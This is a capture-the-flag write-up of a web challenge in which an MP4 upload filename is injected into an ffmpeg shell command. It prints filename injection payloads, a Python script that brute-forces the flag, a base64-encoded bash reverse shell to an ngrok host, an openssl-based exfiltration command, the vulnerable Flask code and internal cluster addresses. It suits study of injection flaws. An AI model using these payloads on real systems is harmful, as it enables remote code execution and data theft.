- Category: Web
- Impact: Medium
- Solves: 35
Find the flag on the web server.
The solution:
- The flag format is
INTIGRITI{.*}
. - Should retrieve the flag from the web server.
- Should NOT use another challenge on the
intigriti.io
domain. - The challenge runs on a single
instance
so please be considerate to other players.
As we enter the middle of this month, we have the opportunity to look at the web challenge which allows us to upload a video file in MP4 format and extract the audio directly.
The aim here is to retrieve the contents of a supposed /flag.txt
file on the server side.
Thenceforward, we launch our Burp Suite penetration testing toolkit to begin our research with the Repeater option on the visible upload page:
<!DOCTYPE html>
<html>
<head>
<title>Video Audio Extractor - Upload</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<style>
body {
background-color: #f8f9fa;
}
.container {
max-width: 600px;
margin-top: 50px;
}
.card {
border: none;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
background-color: #fff;
}
.card-header {
background-color: #fff;
color: #000;
box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
text-align: center;
font-size: 24px;
padding: 20px;
}
.custom-file-label::after {
border-color: #a78e8e28;
}
.btn-primary {
background-color:#0000;
border-color: #0000;
color: #000;
}
.btn-primary:hover {
background-color: #000;
border-color: #0000;
}
</style>
</head>
<body>
<div class="container">
<div class="card">
<div class="card-header">
<h2>Upload a Video File (MP4)</h2>
</div>
<div class="card-body">
<form action="/upload" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="video">Select a video file:</label>
<div class="custom-file">
<input type="file" class="custom-file-input" id="video" name="video" accept="video/mp4">
<label class="custom-file-label" for="video">Choose file</label>
</div>
</div>
<div class="text-center">
<button type="submit" class="btn btn-primary">Upload and Extract Audio</button>
</div>
</form>
</div>
</div>
</div>
</body>
</html>
We don't spend too much time on this classic code so we intercept the video file uploading:
POST /upload HTTP/2
Host: challenge-0723.intigriti.io
Content-Length: Redacted
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename="test.mp4"
Content-Type: video/mp4
------WebKitFormBoundary--\r\n
The POST
method sends data to the server.
The WebKitFormBoundary
is a boundary marker that separates each item in a multipart message.
The Content-Type
header indicates the type of the body of the HTTP request.
The Content-Disposition
response header is a header indicating if the content is expected to be displayed inline in the browser or as an attachment.
The filename
parameter is followed by a string containing the original name of the file transmitted.
There were an unintentional misconfigurations that gave us the b'/bin/sh: 1: ffmpeg: not found\n'
error message.
This may point us in the direction of a rabbit hole about vulnerabilities in the FFmpeg processing multimedia tool!
Here is what we could see before the second anonymizing patch
by Intigriti's team:
ffmpeg version 4.1.11-0+deb10u1 Copyright (c) 2000-2023 the FFmpeg developers
built with gcc 8 (Debian 8.3.0-6)
configuration: --prefix=/usr --extra-version=0+deb10u1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared
libavutil 56. 22.100 / 56. 22.100
libavcodec 58. 35.100 / 58. 35.100
libavformat 58. 20.100 / 58. 20.100
libavdevice 58. 5.100 / 58. 5.100
libavfilter 7. 40.101 / 7. 40.101
libavresample 4. 0. 0 / 4. 0. 0
libswscale 5. 3.100 / 5. 3.100
libswresample 3. 3.100 / 3. 3.100
libpostproc 55. 3.100 / 55. 3.100
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x5650260e9940] Format mov,mp4,m4a,3gp,3g2,mj2 detected only with low score of 1, misdetection possible!
[mov,mp4,m4a,3gp,3g2,mj2 @ 0x5650260e9940] moov atom not found
misc/test.mp4: Invalid data found when processing input
After the patch
, hereunder the pseudo-error was:
HTTP/2 500 Internal Server Error
Date: Redacted
Content-Type: application/json
Content-Length: 90
{
"error": "That wasn't supposed to happen",
"message": "Hey, stop trying to break things!!"
}
The Internal Server Error
is a server error response indicating that the server encountered an unexpected condition that prevented it from fulfilling the request.
Digging around online, we can see a HackerOne report that can quickly lead us down a wrong path.
Given the filters in place and errors
on playlist segments, we will try to refocus on more global and common vulnerabilities.
Furthermore, this other Huntr report tells us more about command injection
case:
- Download the code of the project
- Put it into a webserver root folder (I used Apache with /var/www/html/ffmpeg_web_gui)
- Open http://localtest.me/ffmpeg_web_gui/upload-and-convert.php
- Upload a valid mp4 file (I used these: https://file-examples-com.github.io/uploads/2017/04/file_example_MP4_480_1_5MG.mp4)
- Intercept the request with Burp and change the filename into test;touch HACKED;#
------WebKitFormBoundaryMFH7A2ecHBQQMhZu
Content-Disposition: form-data; name="file"; filename="test;touch HACKED;#.mp4"
Content-Type: video/mp4
------WebKitFormBoundaryMFH7A2ecHBQQMhZu--
The command injection
is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application.
We head for the filename
parameter and see that we have some convincing results:
POST /upload HTTP/2
Host: challenge-0723.intigriti.io
Content-Length: 150
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename=";ls;#.mp4"
Content-Type: video/mp4
------WebKitFormBoundary--
And gives us gobbledygook audio data (proving that ls
command exists):
HTTP/2 200 OK
Content-Type: audio/x-wav
Content-Length: 122100
Content-Disposition: attachment; filename=extracted_audio.wav
Last-Modified: Redacted
Cache-Control: no-cache
Etag: "Redacted"
RIFFzÛx01WAVEfmt...qfactQhLISTINFOISFTLavf58.20.100data...4LAME3.100UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU...
Now that we have what comes close to the Boolean algebra as the truth values true
and false
, i.e., if any of our testing command
runs regardless of whether it is terminated or not then we will receive the extracted_audio
data (as true
value) but if our command
does not work/exist then we get an error
message.
Always with Burp
and more tweaking:
POST /upload HTTP/2
Host: challenge-0723.intigriti.io
Content-Length: 260
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename=";python3${IFS}-c${IFS}\"assert(open(chr(47)+'flag.txt').read().startswith('I'))\";#.mp4"
Content-Type: video/mp4
------WebKitFormBoundary--
We do have the extracted_audio
data so we are bringing out our good old Python
programming language to get the flag
.
By fiddling with the filename
, we see that some commands exist (as sleep
, python3
) on the server and thus can be used to extract the flag gradually or otherwise.
The assert
(in the code below) is used to generate an AssertionError
message if the contents of the flag.txt
read does not contain or start with printable ASCII character(s).
What is left to do is to reproduce the Burp POST
request to slowly but surely recover the coveted golden ticket:
import requests, string, sys
flag, url = "", "https://challenge-0723.intigriti.io/upload"
def check(i:str):
global flag
k = flag + i
data = '\n------WebKitFormBoundary\nContent-Disposition: form-data; name="video"; filename=";python3${IFS}-c${IFS}\\"assert(open(chr(47)+\'flag.txt\').read().startswith(\'' + str(k) + '\'))\\";#.mp4"\nContent-Type: video/mp4\n\n------WebKitFormBoundary--\n'
req = requests.post(url, data=data, headers={"Content-Type":"multipart/form-data;boundary=----WebKitFormBoundary"})
if req.status_code == 200 or b"RIFF" in req.content: # not in b"Extractor - Error"
flag += i; print(len(req.content), flag); main()
def main():
if flag.endswith("}"): print(flag); sys.exit(0)
[check(_) for _ in string.printable]
main()
We also notice that there is a INITGRITI
spelling mistake in the name, perhaps deliberately here to annoy us with the pattern format
that was under solution conditions.
Finally we have the flag: INTIGRITI{c0mm4nd_1nj3c710n_4nd_0p3n55l_5h3ll}
.
Rereading the flag, we might think we missed something about the reverse shell
who refers to the act of redirecting the input/output of a shell to a service that can be remotely accessed.
Some test (as many other in the history
case) shows that we have gladly access to the openssl
command which could be used for the reverse shell indeed.
The code ${IFS}
is used to bypass the space character restriction and $(echo${IFS}.|tr${IFS}'!-0'${IFS}'\"-1')
add a slash if needed.
If you don't have Collaborator or a VPS at hand, you can always use Ngrok to correctly expose your local server to the Internet and the command instantiated.
So on the client side:
nc -lvp 1111
or ncat -v --ssl -l -p 1111
Don't forget to set the host xx.tcp.xx.ngrok.io
and port (on the Ngrok console) in the POST
request.
./ngrok tcp 1111
echo -ne '/bin/bash -l > /dev/tcp/1.tcp.us.ngrok.io:11111 0<&1 2>&1'|base64
echo${IFS}L2Jpbi9iYXNoIC1sID4gL2Rldi90Y3AvMS50Y3AudXMubmdyb2suaW86MTExMTEgMDwmMSAyPiYx|base64${IFS}-d|bash
And on the server side:
POST /upload HTTP/1.1
Host: challenge-0723.intigriti.io
Content-Length: 240
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="video"; filename=";cat${IFS}$(echo${IFS}.|tr${IFS}'!-0'${IFS}'\"-1')flag.txt|openssl${IFS}s_client${IFS}-connect${IFS}1.tcp.us.ngrok.io:11111;#.mp4"
------WebKitFormBoundary--
Here is the BLAKE2b-512
hash of the flag as a verification:
bdd68d95a7b63bfcf5a467b390e73634b3e716cb7aadfa0f74a6db1f171773a234d7a6f2751b43817d9ebc03ce1880d51846ebdc648e33060e50de221b6ba592
In the end, we didn't need to investigate more on potential UAF, blind SSRF, FFmpeg on Debian CVE, Honeypot, RCE, SSTI and so on.
However, we can find out further details about the server (on a Docker container) below:
from flask import Flask, request, render_template, send_file # flask==2.2.3
from helpers import *
app = Flask(__name__) # in /app/app.py
@app.route('/')
def index():
return render_template('index.html')
@app.route('/challenge')
def challenge():
return render_template('challenge.html')
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
file = request.files['video']
filename = file.filename
if file:
if validate_filename(filename):
valid_filename = filename
else:
return render_template('error.html', error='Invalid filename, please make sure it is a MP4 file and have no white spaces in the filename')
video_path = f'misc/{valid_filename}'
file.save(video_path)
audio_path = 'misc/extracted_audio.wav'
success, error = extract_audio(video_path, audio_path)
if success:
return send_file(audio_path, as_attachment=True)
else:
return render_template('error.html', error=e)
return render_template('upload.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=1337, debug=False)
import subprocess, re
def validate_filename(filename): # in /app/helpers.py
try:
pattern = r"^[^\s]+\.(mp4)$"
if re.match(pattern, filename):
return True
else:
return False
except Exception as e:
return False
def extract_audio(video_path, audio_path):
try:
command = f"""ffmpeg -i {video_path} -vn -acodec libmp3lame -ab 192k -ar 44100 -y -ac 2 {audio_path}"""
r = subprocess.run(command, shell=['/bin/bash'], capture_output=True)
if r.returncode != 0:
return False, r.stderr
else:
return True, ''
except Exception as e:
return False, e
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
...
KUBERNETES_SERVICE_PORT_HTTPS=443
CHALLENGE_1222_DB_PORT=tcp://10.15.0.87:5432
CHALLENGE_0722_PORT_80_TCP=tcp://10.15.0.240:80
CHALLENGE_0623_SERVICE_HOST=10.15.0.143
CHALLENGE_0122_PORT_80_TCP_ADDR=10.15.0.155
CHALLENGE_1122_STAGING_SERVICE_HOST=10.15.0.180
CHALLENGE_0322_SERVICE_HOST=10.15.0.170
STAGING_PORT_6000_TCP_ADDR=10.15.0.59
STAGING_PORT=tcp://10.15.0.59:6000
KUBERNETES_SERVICE_PORT=443
...
PYTHON_VERSION=3.9.17
PWD=/var
CHALLENGE_0122_CHALLENGE_SERVICE_PORT_CHALLENGE_0122_CHALLENGE=9000
HOME=/home/svc
LANG=C.UTF-8
KUBERNETES_PORT_443_TCP=tcp://10.15.0.1:443
STAGING_SERVICE_PORT=6000
WERKZEUG_SERVER_FD=3
SHLVL=2
PYTHON_PIP_VERSION=23.0.1
KUBERNETES_PORT_443_TCP_ADDR=10.15.0.1
PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/0d8570dc44796f4369b652222cf176b3db6ac70e/public/get-pip.py
PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
CHALLENGE_0623_SERVICE_PORT=80
_=/usr/bin/env
OLDPWD=/var/lib
...
Architecture: x86_64
CPU op-mode(s): 32-bit, 64-bit
Byte Order: Little Endian
Address sizes: 46 bits physical, 48 bits virtual
CPU(s): 2
On-line CPU(s) list: 0,1
Thread(s) per core: 2
Core(s) per socket: 1
Socket(s): 1
NUMA node(s): 1
Vendor ID: GenuineIntel
CPU family: 6
Model: 79
Model name: Intel(R) Xeon(R) CPU @ 2.20GHz
Stepping: 0
CPU MHz: 2199.998
BogoMIPS: 4399.99
Hypervisor vendor: KVM
Virtualization type: full
L1d cache: 32K
L1i cache: 32K
L2 cache: 256K
L3 cache: 56320K
NUMA node0 CPU(s): 0,1
...
drwxr-xr-x 1 0 0 4096 Jul 17 17:31 .
drwxr-xr-x 1 0 0 4096 Jul 17 17:31 ..
drwxr-x--- 1 0 999 4096 Jul 17 17:30 app
drwxr-xr-x 1 0 0 4096 Jun 13 16:08 bin
drwxr-xr-x 2 0 0 4096 Sep 3 2022 boot
drwxr-xr-x 5 0 0 360 Jul 17 17:31 dev
drwxr-xr-x 1 0 0 4096 Jul 17 17:31 etc
-rw-r--r-- 1 0 0 46 Jul 17 17:29 flag.txt
drwxr-xr-x 2 0 0 4096 Sep 3 2022 home
drwxr-xr-x 1 0 0 4096 Jul 17 17:30 lib
drwxr-xr-x 2 0 0 4096 Jun 12 00:00 lib64
drwxr-xr-x 2 0 0 4096 Jun 12 00:00 media
drwxr-xr-x 2 0 0 4096 Jun 12 00:00 mnt
drwxr-xr-x 2 0 0 4096 Jun 12 00:00 opt
dr-xr-xr-x 240 0 0 0 Jul 17 17:31 proc
drwx------ 1 0 0 4096 Jul 17 17:30 root
drwxr-xr-x 1 0 0 4096 Jul 17 17:31 run
drwxr-xr-x 2 0 0 4096 Jun 12 00:00 sbin
drwxr-xr-x 2 0 0 4096 Jun 12 00:00 srv
dr-xr-xr-x 13 0 0 0 Jul 17 17:31 sys
drwxrwxrwt 1 0 0 4096 Jul 18 01:19 tmp
drwxr-xr-x 1 0 0 4096 Jun 12 00:00 usr
drwxr-xr-x 1 0 0 4096 Jun 12 00:00 var
...
Linux version 5.15.0-1028-gke (buildd@lcy02-amd64-088) (gcc (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #33-Ubuntu SMP Mon Feb 20 01:54:13 UTC 2023
PRETTY_NAME="Debian GNU/Linux 10 (buster)"
NAME="Debian GNU/Linux"
VERSION_ID="10"
VERSION="10 (buster)"
VERSION_CODENAME=buster
ID=debian
Looking into best practices to avoid code injections
and checking any weird input/output connections
of the server.
It was nice to see the patches
flying despite the complexity of managing this kind of challenges, which is always a good way to learn.